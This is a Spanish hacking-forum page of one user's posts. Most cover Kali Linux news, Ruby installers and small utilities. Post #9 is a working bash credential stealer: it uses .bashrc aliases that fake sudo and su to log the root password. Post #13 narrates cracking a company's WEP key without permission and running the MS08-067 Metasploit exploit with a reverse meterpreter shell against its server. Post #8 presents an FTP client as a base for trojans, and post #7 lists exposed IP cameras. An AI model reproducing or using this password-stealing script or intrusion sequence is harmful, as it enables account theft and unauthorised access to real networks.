Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - B3N

#1
GNU/Linux / Novedades en Kali Linux 2.0
Agosto 11, 2015, 08:33:37 PM
Bueno para los que no saben ingles y no pueden leer desde el sitio oficial No tienes permitido ver los links. Registrarse o Entrar a mi cuenta les resumo en espanol:

1. Kernel 4.0
2. Ahora la distribucion se basa en Debian 8 (Jessie), (algo que predije en otro post en modo de pregunta retorica)
3. Mejoras en los drivers de wireless y hardware en general
4. Soporte nativo para los siguientes entornos de escritorio: gnome, kde, xfce, mate, e17, lxde, i3wm
5. Gnome 3.16 por defecto
6. Ahora Kali es una rolling distribution (o sea continua, en laminacion) esto quiere decir que de ahora en adelante tomaran los paquetes directamente de Debian Testing (despues de haberse asegurado de que al menos se instalan sin problemas)
7. Nuevo sistema de control de version principal de software via git (es un script que corre a diario y nos mantiene actualizado de las herramientas basado en git)
8. Nueva variante (flavour) para las computadoras de poco rendimiento, con entorno de escritorio XFCE (pesa cerca de 1 Gb) No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
9. Actualizaciones de imagenes de VMware y VirtualBox
10. Actulizaciones de NetHunter y las imagenes de ARM para Raspberry Pi, Chromebooks, Odroids, etc. Y una nueva imagen para CM-12
11. No incluye Metasploit Community / Pro. Ahora solo incluye el framework de Metasploit (metasploit-framework) y Rapid7 ya no mantendra directamente a Metasploit en Kali, ahora es el equipo de Kali quien se encarga directamente de esto, ahora han migrado a la instalacion de forma nativa y asi usan las dependencias de forma nativa en Kali lo que implica un mayor rendimiento y mejor intergracion con el sistema. Ya no existe el servicio de metasploit asi que para iniciar Metasploit ahora seria de esta forma:

Código: bash
/etc/init.d/postgresql start
msfdb init
msfconsole


Bueno los demas detalles los iremos viendo a medida que vayamos trabajando con el sistema.
#2
Tengo el gusto de anunciarles la salida de Kali Linux 2.0. Ya lo pueden descargar en su sitio oficial No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Los detalles todavia no los han publicado, parece que por el momento solo han subido el ISO, entiendo que no lo pueden hacer todo al mismo tiempo. Lo nuevo por el momento es un version Light, esta debe ser para computadoras de poco rendimiento.
Bueno pues a probarlo!
#3
Puesto que RHEL y CentOS siempre estan un poco atrasados en este asunto es necesario instalar "a mano" las cosas actualizadas, bueno en este caso he simplificado el proceso de intalacion para Ruby. El instalador hace uso de rbenv, el gestor de instalacion y actualizacion recomendado por los desarrolladores de Ruby y Ruby on Rails, pudiendo instalar multiples versiones simultaneamente y coexistir sin problemas, ademas de que hace mucho mas sencillo el proceso de actualizacion.

Código: bash
#!/bin/bash
#
##############################################################
#
# Author: B3N
# Name: ruby-installer
# Version: 1.0
# Description: Install the lastest version of Ruby using rbenv
# Licence: GPLv2
# Platform: RHEL/CentOS/Fedora
#
##############################################################


# Logo
echo
echo "============================================================"
echo "               Ruby Installer v1.0 - By B3N"
echo "============================================================"
echo
echo "[i] rbenv and ruby will be installed only for the user $USER"

# Dependencies
rpm -q openssl-devel readline-devel zlib-devel git > /dev/null
if [ $? -ne 0 ]; then
if [ `id -u` == 0 ]; then
echo "[+] Installing dependencies..."
yum install -y openssl-devel readline-devel zlib-devel git
if [ $? -ne 0 ]; then
exit 1
fi
else
echo "[+] Installing dependencies..."
su -c 'yum install -y openssl-devel readline-devel zlib-devel git'
if [ $? -ne 0 ]; then
exit 1
fi
fi
fi

# Clone rbenv repo
if [ -d ~/.rbenv ]; then
echo "[-] Directory ~/.rbenv exists."
else
git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
if [ $? -eq 0 ]; then
echo "[+] rbenv repo cloned to ~/.rbenv."
fi
fi

# PATH
if [ -d ~/.rbenv/bin ]; then
grep 'export PATH="$HOME/.rbenv/bin:$PATH"' ~/.bashrc > /dev/null
if [ $? -ne 0 ]; then
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc
export PATH="$HOME/.rbenv/bin:$PATH"
echo "[+] rbenv added to PATH"
else
echo "[-] rbenv is in the PATH."
fi
else
exit 1
fi

# Autocompletion
if [ -d ~/.rbenv/bin ]; then
grep 'eval "$(rbenv init -)"' ~/.bashrc > /dev/null
if [ $? -ne 0 ]; then
echo 'eval "$(rbenv init -)"' >> ~/.bashrc
eval "$(rbenv init -)"
echo "[+] Autocompletion activated."
else
echo "[-] Autocompletion already activated."
fi
else
exit 1
fi

## Plugins:
# ruby-build
if [ -d ~/.rbenv/plugins/ruby-build ]; then
echo "[-] Directory ~/.rbenv/plugins/ruby-build exists."
else
git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
if [ $? -eq 0 ]; then
echo "[+] Plugin ruby-build installed."
fi
fi
# rbenv-rehash
if [ -d ~/.rbenv/plugins/rbenv-gem-rehash ]; then
echo "[-] Directory ~/.rbenv/plugins/rbenv-gem-rehash exists."
else
git clone https://github.com/sstephenson/rbenv-gem-rehash.git ~/.rbenv/plugins/rbenv-gem-rehash
if [ $? -eq 0 ]; then
echo "[+] Plugin rbenv-rehash installed."
fi
fi

# Install ruby
if [ -x ~/.rbenv/libexec/rbenv ]; then
rbenv install -l
read -p "Type version to install: " RV
if [ `rbenv version|awk -F " " {'print $1'}` == $RV ]; then
echo "[-] Ruby $RV already installed, nothing to do."
else
rbenv install -v -k $RV
rbenv global $RV
echo "[i] Restart your terminal to finish."
fi
else
echo "[-] rbenv is not installed."
fi
#4
Basados en el siguiente metodo no podemos sacar una conclusion definitiva pero al menos si podemos orientarnos hacia cuales lenguajes son los mas usados por pentesters. El analisis que hice es sencillo, me baso en la bien conocida distribucion de pentesting Kali Linux, distribucion muy mencionada y usada por profesionales de la seguridad informatica, plataforma escogida por muchos escritores profesionales y desarrolladores en el campo de la seguridad. La tecnica consistio en hacer una busqueda por extension de los lenguajes mas conocidos y enumeramos cada busqueda especifica para ver la cantidad de archivos existentes en esta distribucion de cada lenguaje. Aqui les va:

Código: php

root@kali:~# find / -name *.c | wc -l
7376
root@kali:~# find / -name *.asm | wc -l
550
root@kali:~# find / -name *.class | wc -l
694
root@kali:~# find / -name *.jar | wc -l
1642
root@kali:~# find / -name *.py | wc -l
65450
root@kali:~# find / -name *.rb | wc -l
53192
root@kali:~# find / -name *.pl | wc -l
8400
root@kali:~# find / -name *.sh | wc -l
1206
root@kali:~#


Como vemos C sigue siendo imprescindible y Python es el lenguaje de scripting mas usado en el momento, no obstante vemos un gran incremento de Ruby, en los a~os proximos pienso que Ruby ira reemplazando poco a poco a Python ya que los programadores de Python estan migrando lentamente a Ruby asi como estan migrando las aplicaciones previamente programadas en Python a Ruby.

Saquen ustedes sus propias conclusiones.

#5
Hasta el momento el mas aceptado es el PTES No tienes permitido ver los links. Registrarse o Entrar a mi cuenta pero esto esta muy atrasado en mi opinion, todavia hablan de Backtrack, etc.
Me llama mucho la atencion que mencionan Mac OS X como el sistema de eleccion para pentesting, Yo estoy de acuerdo en que debemos tener Mac en nuestro laboratorio, es por eso que lo mas inteligente para un pentester es tener una Macbook ya que es una manera practica de tener los 3 sistemas operativos o al menos de poderlos virtualizar sin problemas, pero utilizar Mac como sistema base para pentesting, wow, esto no me parece practico ni logico. Y es que el Hacking siempre ha estado ligado muy fuertemente al software libre, el software libre forma parte de la historia y la filosofia del hacking.
Me llama la atencion que nadie actualiza este estandar, siendo incluso el mas utilizado y mencionado en el mundo del pentesting, creo que lo escrito data del 2011. He buscado en Internet pero no existe otro serio. Yo creo que esto es trabajo de la comunidad de pentesters y no de empresas en particular, deberiamos hacer algo practico para nosotros mismos.
#6
GNU/Linux / Kali Linux 2.0 - Preview
Julio 07, 2015, 02:58:55 AM
Tengo el placer de anunciarles la liberacion de Kali Linux 2.0 el 11 de Agosto proximo. Gnome-Shell por defecto, Ruby 2.0, y por lo que veo trae las tablas de Ophcrack incluidas, de ser asi el ISO me imagino que pese bastante.  ¿Seguira basado en Debian 7?, ¿Habran migrado a systemd? Los detalles no los han dado aun. Sin mas aqui les dejo el video oficial.

#7
Hacking / Listado de Camaras IP disponibles
Junio 25, 2015, 10:56:07 PM
Bueno todavia no es una lista, tengo dos por el momento, pero a medida que vaya obteniendo mas voy editando el post y las voy poniendo.

Sony Cam Burgas BG Beach
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Axis PTZ-Cam Burgas BG City
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#8
Ruby / Cliente FTP
Junio 25, 2015, 09:29:48 PM
Funciona igual que los clientes ftp de la linea de comandos de cualquier sistema operativo, aunque es mas informativo, esto es un proyecto no terminado, aunque funciona perfectamente la idea no era hacer un simple cliente ftp mas, se puede utilizar como base para hacer un fuzzer, un troyano, un backdoor, etc. Yo estoy trabajando en ello, pero lo comparto con uds por si pueden sacar algo distinto, ademas por su valor didactico.


Código: ruby
#!/usr/bin/env ruby
#
# Copyrigth (C) 2014-2015 - B3N
# Description: ftp client
# Version: 1.0
#

require 'net/ftp'
require 'socket'

def welcome
puts @ftp.welcome
s = TCPSocket.open(@host, 21)
puts s.gets
s.close
puts @ftp.system
if @ftp.passive == true
puts "PASSIVE MODE: on"
else
puts "PASSIVE MODE: off"
end
puts @ftp.status

end

def exit
puts "Goodbye!"
end

def debugon
@ftp.debug_mode = true
end

def debugoff
@ftp.debug_mode = false
end

def help
puts "help\t clear ls status system"
puts "pwd cd size size_h get send"
puts "gettext sendtext last debug[on/off]"
puts "mkdir rmdir delete rename passive"
end

def clear
system "clear"
end

def ls
dir_lst = @shell.split(/\s/)
puts @ftp.list(dir_lst[1])
end

def status
puts @ftp.status
end

def passive
puts @ftp.passive
end

def pwd
puts @ftp.pwd
end

def ftpsystem
puts @ftp.system
end

def cd
begin
folder_name = @shell.split(/\s/)
@ftp.chdir(folder_name[1])
rescue
puts "cannot change to \'#{folder_name[1]}\'."
end

end

def size
begin
s_name = @shell.split(/\s/)
puts @ftp.size(s_name[1])
rescue
puts "incorrect file \'#{s_name[1]}\'."
end
end

def size_h
begin
sh_name = @shell.split(/\s/)
result = @ftp.size(s_name[1]) / 1024
print result.to_f
puts " Kb"
rescue
puts "incorrect file \'#{sh_name[1]}\'."
end
end

def get
begin
b_name = @shell.split(/\s/)
@ftp.getbinaryfile(b_name[1], b_name[1], 1024)
rescue
puts "cannot get \'#{b_name[1]}\'."
end
end

def send
begin
lbin_name = @shell.split(/\s/)
@ftp.putbinaryfile(lbin_name[1], lbin_name[1], 1024)
rescue
puts "cannot send \'#{lbin_name[1]}\'."
end
end

def gettext
begin
t_name = @shell.split(/\s/)
@ftp.gettextfile(t_name[1])
rescue
puts "cannot get \'#{t_name[1]}\'."
end
end

def sendtext
begin
lt_name = @shell.split(/\s/)
@ftp.puttextfile(lt_name[1], lt_name[1])
rescue
puts "cannot send \'#{lt_name[1]}\'."
end
end

def delete
begin
d_name = @shell.split(/\s/)
@ftp.delete(d_name[1])
rescue
puts "cannot delete \'#{d_name[1]}\'."
end
end

def mkdir
begin
dir_name = @shell.split(/\s/)
@ftp.mkdir(dir_name[1])
rescue
puts "cannot create directory \'#{dir_name[1]}\'."
end
end

def rmdir
begin
rd_name = @shell.split(/\s/)
@ftp.rmdir(rd_name[1])
rescue
puts "cannot remove directory \'#{rd_name[1]}\'."
end
end

def rename
begin
re_name = @shell.split(/\s/)
@ftp.rename(re_name[1], re_name[2])
rescue
puts "cannot rename \'#{re_name[1]}\'."
end
end

def last
puts @ftp.lastresp
end

def bash
while TRUE
print "local@bash> "
STDOUT.flush
bash = STDIN.gets
break if not bash
bash.chop!
if bash == "exit"
break
elsif bash == ""
else
system "#{bash};"
end
end
end

def lls
Dir["*"].each do |cont|
puts cont
end
end

def lcp
begin
file = @shell.split(/\s/)
FileUtils.cp file[1], file[2]
rescue
puts "cannot copy \'#{file[1]}\' to \'#{file[2]}\'."
end
end

def default
puts "Invalid command: #{@shell}"
end

host = ARGV[0]
@host = host
print "Host: " unless ARGV[0]
host = STDIN.gets unless ARGV[0]
host.chop! unless ARGV[0]

username = ARGV[1]
@username = username
print "User: " unless ARGV[1]
username = STDIN.gets unless ARGV[1]
username.chop! unless ARGV[1]

password = ARGV[2]
@password = password
print "Password: " unless ARGV[2]
password = STDIN.gets unless ARGV[2]
password.chop! unless ARGV[2]

#if host == 'localhost' || host == '127.0.0.1' || host =~ /192.168/
Net::FTP.open(host) do |ftp|
@ftp = ftp
        ftp.login(user=username.to_s, passwd=password.to_s, acct=nil)
welcome()

while TRUE
        print "ftp> "
        STDOUT.flush
        shell = STDIN.gets
        break if not shell
        shell.chop!
@shell = shell

if shell == ""
elsif shell == "exit" then exit ;break
elsif shell == "debug on" then debugon
elsif shell == "debug off" then debugoff
elsif shell == "help" then help
elsif shell == "clear" then clear
elsif shell == "status" then status
elsif shell == "passive" then passive
elsif shell == "pwd" then pwd
elsif shell == "system" then ftpsystem
elsif shell == "last" then last
elsif shell == "bash" then bash
elsif shell == "lls" then lls
elsif shell.split(/\s/)[0] == "ls" then ls
elsif shell.split(/\s/)[0] == "cd" then cd
elsif shell.split(/\s/)[0] == "size" then size
elsif shell.split(/\s/)[0] == "size_h" then size_h
elsif shell.split(/\s/)[0] == "get" then get
elsif shell.split(/\s/)[0] == "send" then send
elsif shell.split(/\s/)[0] == "gettext" then gettext
elsif shell.split(/\s/)[0] == "sendtext" then sendtext
elsif shell.split(/\s/)[0] == "delete" then delete
elsif shell.split(/\s/)[0] == "mkdir" then mkdir
elsif shell.split(/\s/)[0] == "rmdir" then rmdir
elsif shell.split(/\s/)[0] == "rename" then rename
elsif shell.split(/\s/)[0] == "lcp" then lcp
        else default
        end
end
end
#else
# puts "[-] Incorrect host"
#end
#9
Este fue uno de mis primeros frutos en bash. Aqui les va

Código: bash
#!/bin/bash
#
##############################################################################
#
# Nombre: sskeylogger
# Autor: B3N
#
# Descripcion: Falsifica los comandos sudo y su haciendose pasar por
#        los mismos con el fin de obtener el password del root.
#        Una vez obtenido el password es guardado en un log
#        llamado: .plog en el home del usuario.
#
#
# Explicacion del modo de operacion:
# (1) Se crea una copia del archivo .bashrc llamada .bashrcbk.
# (2) Se crean dos alias en el .bashrc original de los commandos
#     <sudo> y <su> que llaman a nuestro programa en caso de ser
#     invocado cualquiera de los dos.
# (3) Se crearan dos scripts que simulan los comandos <sudo> y <su>
#     y capturan el password del root guardandolo en el archivo
#     .plog en el home del usuario. Estos archivos se encuentran
#     en el home del usuario con los nombres: ".sudo_su" y ".sudo_sd".
# (4) Se restaura el .bashrc original desde la copia .bashrcbk.
# (5) Se borran los archivos creados.
# (6) Se ejecuta <bash> cargando el .bashrc original para no
#     tener que reiniciar el terminal en ese momento.
#
# Modo de empleo:
# (1) Ejecutar el programa desde un terminal: <sh sskeylogger.sh> (o el nombre
#     que le quieras poner), o darle permisos de ejecucion y ejecutarlo
#     desde el navegador de archivos.
# (2) Cerrar el terminal.
# (3) Esperar a que sea ejecutado el comando <sudo> o <su>.
# (4) Leer el log generado, puede ser con el siguiente comando:
#     <cat $HOME/.plog>
#
# Nota aclaratoria: En sistemas en otros idiomas deben modificarse las salidas estandar y de error
#
##############################################################################

# Backup del .bashrc
cp $HOME/.bashrc $HOME/.bashrcbk;

# Suplantacion de <su>
echo "alias su='$HOME/.sudo_su'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_su;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_su;
echo "stty -echo" >> $HOME/.sudo_su;
echo "read -p \"Password: \" IN" >> $HOME/.sudo_su;
echo "stty echo" >> $HOME/.sudo_su;
echo "echo" >> $HOME/.sudo_su;
echo "date >> $HOME/.plog" >> $HOME/.sudo_su;
echo "echo Password: \$IN >> $HOME/.plog" >> $HOME/.sudo_su;
echo "sleep 2" >> $HOME/.sudo_su;
echo "echo \"su: Authentication failure\"" >> $HOME/.sudo_su;
echo "rm \$HOME/.sudo_sd" >> $HOME/.sudo_su;
echo "rm \`basename \$0\`" >> $HOME/.sudo_su;
echo "bash --rcfile .bashrc" >> $HOME/.sudo_su;
chmod 755 $HOME/.sudo_su;

# Suplantacion de <sudo>
echo "alias sudo='$HOME/.sudo_sd'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_sd;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_sd;
echo "stty -echo" >> $HOME/.sudo_sd;
echo "read -p \"[sudo] password for `id -un`: \" IN" >> $HOME/.sudo_sd;
echo "stty echo" >> $HOME/.sudo_sd;
echo "echo" >> $HOME/.sudo_sd;
echo "date >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "echo Password: \$IN >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "sleep 2" >> $HOME/.sudo_sd;
echo "echo \"Sorry, try again.\"" >> $HOME/.sudo_sd;
echo "rm \`basename \$0\`" >> $HOME/.sudo_sd;
echo "rm \$HOME/.sudo_su" >> $HOME/.sudo_sd;
echo "sudo -k;" >> $HOME/.sudo_sd;
echo "sudo \$*; bash --rcfile .bashrc" >> $HOME/.sudo_sd;
chmod 755 $HOME/.sudo_sd;
#10

Kali Linux es una distribución pensada para profesionales de la seguridad informática, pentesters, forenses, etc, no esta hecha para lamers. Algunas personas sostienen que Kali es para lamers ya que contiene muchas herramientas preinstaladas y como todos sabemos un lamer es aquella persona que se beneficia del trabajo de los demas sin aportar nada suyo. Sin embargo, el hecho de que los lamers se aprovechen de Kali para sus fechorías no quiere decir que Kali Linux sea una distro para lamers. Kali es usada por profesionales de todo el mundo, por grandes empresas de seguridad informática e incluso por el FBI.

Es malo utilizar un programa hecho por otra persona? Si yo uso un programa hecho por otra persona soy un lamer por eso? Claro que no. Todos usamos programas hechos por otros a diario, incluso el sistema operativo que estas usando ahora mismo no es hecho por ti sino por otros, tal vez entre ellos tu, pero ni Linus B. Torvalds puede decir que su sistema operativo es hecho completamente por él, el solo hace su parte, da su aporte, y esta precisamente es la diferencia entre un lamer y un hacker; un hacker es una persona con grandes conocimientos de informatica en general y con gran creatividad, una persona que puede y sabe como beneficiarse del trabajo hecho por los demas para lograr mas eficiencia en el suyo, pero siempre aportando su parte, sus ideas.

Los lamers no entienden nada de lo que hacen, no entienden el funcionamiento interno de los programas ni mucho menos saben nada de programacion, solo saben que tienen que dar click aquí y allá y que el programa haga lo suyo, ademas de que carecen de etica, no tienen objetivos, solo víctimas a las que hacen dano indiscriminadamente sin importarles nada y sin motivo alguno.

Cuando se habla de Kali se esta hablando de rendimiento en nuestro trabajo, de ser prácticos y efectivos. Por supuesto que en ningún momento quiero decir que Kali sea la única plataforma eficiente para pentesting. Tu puedes crear tu propia plataforma de pentesting de acuerdo a tus necesidades, por ejemplo, si tu campo es la informática forense pues no necesitas todo lo que Kali trae, entonces puedes tener tu propia distro personalizada con las herramientas que utilizas y con tu propia configuración, pero cuando nuestro campo es mas amplio la cosa se va complicando, para los que somos mas generales las cosas no son tan fáciles.

Hace un tiempo estuve utilizando Fedora como mi plataforma principal de trabajo (seguridad informática, cracking, pentesting, informática forense, programación, etc), tuve que recompilar el kernel, tuve que instalar cantidad de herramientas a mano (descargarlas, compilarlas, etc) ya que casi todas vienen en código fuente y no están en los repositorios oficiales ni de terceros de Fedora, CentOS, ni Red Hat, pase mucho tiempo haciendo mis configuraciones, etc etc, al final no vi mucho el fruto ya que cuando había terminado todo entonces debía ocuparme de las actualizaciones, y en el mundo del hacking estar actualizado no es una opción sino una necesidad, pero para mi actualizarlo todo equivalía a hacer todo el trabajo nuevamente desde cero practicamente.

Luego tuve la necesidad de tener mi sistema en una memoria portable para bootearlo ante cualquier situacion, esto era mas trabajo anadido y muy poca documentación al respecto. Bueno, desistí de Fedora y trate de hacer lo mismo con Debian, pensando que Debian tiene mayor soporte de paquetes y que las actualizaciones son automáticas y no hay que estar compilando casi nada, pero al final es lo mismo, aunque un poco menos de trabajo pero es lo mismo.

Finalmente decidí no pasar mas trabajo e instale Kali. Kali trae un kernel parcheado para operaciones wireless, trae instaladas casi todas las herramientas que necesito para realizar mi trabajo de forma general y lo mejor es que se actualiza automáticamente, me ofrece una plataforma bastante funcional y estable, basada en Debian (sistema con el cual crecí en el mundo de Linux), así que para mi es perfecto, por supuesto que incluso a Kali tengo que configurarlo a mis necesidades, añadir mis programas, etc, pero el trabajo es menos. Para mi Kali Linux equivale a rendimiento, a facilidad y a ser práctico. A todos nos gusta que nos faciliten la vida, por eso usamos distros de Linux y no nos compilamos un LFS.

Por supuesto, usamos nuestras distros como plataforma de trabajo, como algo de lo cual partir para poner a funcionar nuestra creatividad. Pudiera poner un ejemplo práctico con Metasploit, tu puedes ser un gran programador de exploits pero puedes también auxiliarte del framework de Metasploit para hacer tus exploits mas eficientes e integrarlos con payloads y otras herramientas, esto no quiere decir que eres un lamer.

Mantenemos siempre nuestra creatividad pero podemos apoyarnos en los hombros de los demás. De hecho esto es algo que caracteriza a un hacker: ser comunitario. Un hacker no es una persona solitaria, aunque sea introvertida o se pase el día completo encerrado en su cuarto, es una persona que se integra muy bien con comunidades de personas con el mismo pensamiento y se nutre también del conocimiento de los demás, y es por eso que estamos aquí.

#11
Ruby / Guia de como instalar Rails en Kali
Junio 20, 2015, 11:02:35 PM
Sabemos que Ruby actualmente tiene gran acogida por parte de la comunidad de hackers y grandes empresas dedicadas a la seguridad informatica. A veces creamos un programa para consola pero no quedamos muy conformes ya que quisieramos hacer las cosas un poco mas intuitivas, faciles y profesionales a la vez (por ponerles un ejemplo de lo que hablo menciono Metasploit, proyecto que comenzo con una interfaz de comandos completamente y luego evoluciono hacia su interfaz web la cual ellos llaman Proffesional, y esta claro que nos hace la vida mas facil, nos hace perder menos tiempo y nos evita un futuro tunel carpiano por escribir tanto), es aqui donde entran las interfaces graficas, y para ruby me parece que la mejor interfaz grafica es la interfaz web ya que puedes acceder a ella facilmente desde cualquier navegador. Cuando hablamos de desarrollo debemos siempre estar actualizados, por eso aqui les dejo como instalar la ultima version de ruby y ruby on rails en Kali.

A los usuarios de Kali recomiendo que creen una cuenta de usuario estandar para las tareas comunes que no requieran privilegios de root. Por esto en la guia veran siempre el simbolo $.

0. Instalar herramientas basicas y dependencias:
Código: php
	$ su -c 'apt-get install git libsqlite3-dev libcurl4-openssl-dev'
$ wget http://http.kali.org/pool/main/libv/libv8-3.14/libv8-3.14.5_3.14.5.8-8.1_i386.deb
$ wget http://http.kali.org/pool/main/n/nodejs/nodejs_0.10.29~dfsg-2_i386.deb
$ su -c 'dpkg -i libv8-3.14.5_3.14.5.8-8.1_i386.deb nodejs_0.10.29~dfsg-2_i386.deb'


1. Instalar rbenv en ~/.rbenv (rbenv es lo mas recomendable para gestionar las actualizaciones de ruby, ademas que nos permite instalar varias versiones a la vez y no afectan todo el sistema sino que se instala individualmente para cada usuario, hay otros gestores pero rbenv es el recomendado en el sitio oficial de rails, las ventajas de rbenv las pueden ver aqui No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
   
Código: php
$ git clone https://github.com/sstephenson/rbenv.git ~/.rbenv


2. Anadir ~/.rbenv/bin a la variable $PATH para acceder  a rbenv desde cualquier ubicacion:
   
Código: php
$ echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc


3. Anadir rbenv init a tu shell para activar el autocompletado:
   
Código: php
$ echo 'eval "$(rbenv init -)"' >> ~/.bashrc


4. Reiniciar shell para que los cambios hechos al PATH tengan efecto. Y verificar que rbenv fue
   instalado existosamente:
   
Código: php
$ type rbenv

   debe imprimir en la primera linea lo siguiente:
   
Código: php
rbenv is a function
...


5. Instalar ruby-build:
   
Código: php
$ git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build


6. Instalar ruby:
   
Código: php
$ rbenv install -l
...
2.2.2
...
$ rbenv install 2.2.2 -k

   (-k es para conservar el codigo fuente de ruby. Esto ayudara a construir otras gems posteriormente.)

7. Establecer la version global a utilizar:
   
Código: php
$ rbenv global 2.2.2


   (esto se puede revertir ejecutando: rbenv global system)

8. Instalar rbenv-gem-rehash (para no tener que ejecutar 'rbenv rehash' cada vez que instalemos una gem):
   
Código: php
$ git clone https://github.com/sstephenson/rbenv-gem-rehash.git ~/.rbenv/plugins/rbenv-gem-rehash



9. Instalar rails:
   
Código: php
$ su -c 'gem install rails'


10. Probar que rails se haya instalado correctamente:
   
Código: php
$ rails new demo
$ cd demo
$ rails server


   ahora debemos ser capaces de acceder a la aplicacion desde el navegador por No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#12
Ruby / Convertidor de string a binario y viceversa
Junio 20, 2015, 10:33:08 PM
Pueden sugerir arreglos. Espero les sea de utilidad.

Código: ruby
# Copyright (C) 2015 B3N <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# Description: String to binary converter and viceversa
# Original name: bconverter.rb
# Version: 1.0

#!/usr/bin/env ruby

def help
puts
puts "Usage: #{__FILE__} -s \"String to convert to binary\""
puts "       #{__FILE__} -b \"00111011 00101001\""
end

if ARGV.empty? || ARGV.length != 2
puts help
elsif ARGV[0] == '-s'
ARGV[1].unpack("C*").each{|c| print "%08b " % c}
print "\n"
elsif ARGV[0] == '-b'
puts [ARGV[1].delete(' ')].pack("B*")
else
puts
puts "[-] incorrect option: #{ARGV[0]}"
help
puts
end
#13
En Cuba las personas comunes no tienen internet en sus casas, el internet solo lo tienen los bancos, las grandes empresas, los hospitales, etc, pero para una persona es imposible tener internet en su casa.
Todo comenzo cuando me compre una Wi-Fi y la puse en el techo de mi casa con una antena
casera. Enseguida inicie mi Linux (Backtrack 5 R3 en ese entonces) y me puse a escuchar para ver si veia algun AP (Access Point) cerca:

Código: php
root@bt:~# airmon-ng start wlan0
root@bt:~# airodump-ng mon0


Rapidamente comenzaron a aparecer varios APs, me conecte a varios que tenian filtro de MAC pero eran locales, de personas que los ponen para chatear entre ellos, jugar, etc, pero nada de internet.  Necesitaba uno de alguna empresa importante que tuviera algun server con internet permanente. Pues efectivamente, encontre uno, de hecho al que veia con mejor senal. No le habia querido entrar pues enves de filtro de MAC lo que tenia era una clave con cifrado WEP y yo estaba vago, era mas facil clonar la MAC de un cliente que ponerme a crackear un cifrado WEB, pero bueno ya era hora de ver si en esa red estaba lo que yo tanto buscaba. Pues voy a romper su cifrado (me dije):

Comenze a capturar paquetes desde los clientes conectados al AP:

Código: php
root@bt:~# airodump-ng mon0 --bssid 45:02:7F:BC:C4:87 -c 1 -w KEY

(la MAC es la del AP, -c indica el canal, es lo mismo que --channel, y -w equivale a --write y es para que guarde los paquetes capturados en un archivo .cap, en mi caso se llamaba KEY-01.cap)

Pero el numero de paquetes de datos era insignificante, eran muy pocos para romper un cifrado WEP, pues bien voy a generar bastante trafico para poder capturar mas paquetes de datos, me dije, para lo cual utilice el aireplay-ng con la opcion -3 para hacer peticiones ARP, -b para indicar la MAC del AP y -h para indicar la MAC de uno de los clientes que estaba conectado en ese momento con el fin de suplantar su identidad:

Código: php
root@bt:~# aireplay-ng -3 -b 45:02:7F:BC:C4:87 -h d8:8f:33:6b:fc:39 mon0


Enseguida comenzo a incremetarse el trafico y la captura de paquetes, y cuando tuve suficientes (creo que eran como 80 000, aunque se que con menos podia) procedi a crackear la clave con aircrack-ng:

Código: php
root@bt:~# aircrack-ng KEY-01.cap


...y no tardo nada en descifrar la clave. Pues bien era hora de conectarme para ver si la clave era la correcta, asi que procedi a conectarme:

Código: php
root@bt:~# iwconfig wlan0 essid "Victima" channel 1 key E56933ND4W
root@bt:~# iwconfig


y para mi sorpresa: Access Point: 45:02:7F:BC:C4:87
Ya estaba conectado, ahora necesitaba un IP dentro del rango:

Código: php
root@bt:~# dhclient wlan0


Pero no, esto no sirvio ya que no tenia un servidor DHCP, o sea que los IP eran estaticos. Pues bien me debia asignar un IP yo mismo, pero como podia saber el rango de IP?, necesitaba capturar algun IP de la red con algun sniffer, pues bien procedi a abrir el etherape y enseguida aparecieron los primeros IPs de tipo 192.168.100.1, etc.

Genial voy a dejar un rato mas el etherape para ver todos los IPs de la red, me dije, para (0) no asignarme niguno que ya exista para que no le salga un cartel de conflicto de IP en la red en Windows y (1) para estudiar el escenario y saber a donde dirigir el ataque.

Pues bien me asigne un IP estatico (ifconfig wlan0 192.168.100.251) y procedi a escanear toda la red para rectificar todos los maquinas que estaban conectadas ya que a veces el etherape no es tan preciso pues si no detecta actividad a veces no muestra alguna maquina:

Código: php

root@bt:~# nmap -sP 192.168.100.0-255


Salieron como 7, no habian muchas maquinas conectadas. Procedi pues a ver si encontraba un servidor con internet asi que me decidi por el 192.168.100.1 ya que era probable que fuera ese por ser el .1 ;) asi que le hice un escaneo de puertos:

Código: php
root@bt:~# nmap -v -A -T4 192.168.100.1


Pues para mi sorpresa tenia abierto muchos puertos comprometedores; 21, 25, 80, 139, 445, etc. Y para colmo era un Windows Server 2003. Asi que decidi ejecutarle un payload mediante un exploit ya que era la forma mas sencilla y elegante para acceder a la maquina:

Código: php

root@bt:~# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > set LHOST 192.168.100.251
msf  exploit(ms08_067_netapi) > set RHOST 192.168.100.1
msf  exploit(ms08_067_netapi) > exploit


Y una vez abierta mi session de meterpreter:

Código: php
meterpreter > getsystem
